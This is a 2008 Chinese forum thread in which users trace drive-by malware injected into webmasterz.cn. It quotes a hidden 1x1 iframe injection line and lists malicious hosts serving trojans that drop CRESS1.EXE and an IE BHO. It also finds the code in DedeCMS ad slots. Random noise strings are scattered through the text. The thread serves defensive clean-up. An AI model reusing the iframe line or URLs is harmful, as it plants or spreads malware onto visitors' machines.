webmasterz.cn上的掛馬掛在哪了 我怎麼查了半天查不到？

請老大仔細的查查吧，剛又發現了幾個，全是免殺的~~一個勁的往外蹦，但是我的卡卡即不報~~
http://ppp.749571.com/dm/test.htm
& p$ @- U% P. V4 H- C0 H4 n% }http://www.985676.cn/encrypt/mm.htm
這兩個是免殺的，還有幾個沒記下來，
5 l; l! U0 l$ H9 p這掛馬的兔崽子有一手，隱藏的很好啊~~一般人都看不出來~

會在C盤下產生 CRESS1.EXE
% B; S5 @9 c' t- {+ H4 n' H- P然後增加IE的BHO的木馬 還釋放驅動

昏 他藏得好隱秘  找到了 放毒得地方了

4 n# M" g. g' \* V8 K2 v5 Q  d( o/ kiframe src=h t t p://w w w.9856 76.cn/encrypt/mm.htm width=1 height=1></iframe>
, a, j& W6 R0 K( d然後再這個地址轉到ppp.749571.co m/dm/test.htm
+ f, m0 e0 _/ S$ @為了跟蹤這個病毒 自己失誤的。。。。哎。修復中ing。。。。
3 P' E3 k& N" c) C) V靜水趕快清理了吧

原帖由 20082008 於 2008-1-9 16:33 發表
. G, n+ B/ \( s沒裝REAL就沒事，好在我重新裝的系統:

說的沒錯

原帖由 freelzyr 於 2008-1-10 16:47 發表
進dede後台
( ?! ~! W0 B: k; T6 _檢查 ad_js.php?aid=1  
ad_js.php?aid=2
, D1 O4 S& o% _7 D9 Cad_js.php?aid=3
ad_js.php?aid=4
) P( g3 d& R$ c0 |# n% _
9 G# A: I8 F7 R3 @, o1 q6 Q這幾個廣告 裡面的代碼
在這幾個 掉茅廁位 裡面   含有 木馬的 代碼

% m2 X; b/ {5 j- V" Q
這個檢查了沒有的

原帖由 靜水流深 於 2008-1-11 02:27 發表

5 e0 z7 v# \) W5 n! r- b
這個檢查了沒有的

! }7 Q! _1 g) `8 h0 K2 x( X
我看過了，有掛馬的代碼，代碼已經在你的另一個貼子裡貼出來了

原帖由 靜水流深 於 2008-1-11 02:27 發表
. y) z  n; I! I

  j& p3 ?; N% V2 A這個檢查了沒有的

7 a0 s. {; ]; K; j木馬就是在這裡裡啊
在後台的掉茅廁位設置那
* a. j; }- |, U5 w/ [1 D裡

現在明瞭.
' b2 q! ~4 l. f7 [# ~. }; w有人收流量做ppp.749571.co m的..
  r6 P  f, ?; {最近被掛馬的話. 都改成js了. 不用iframe了

菜鳥,怕怕,不敢看,啥時好了說一聲,我再去看風景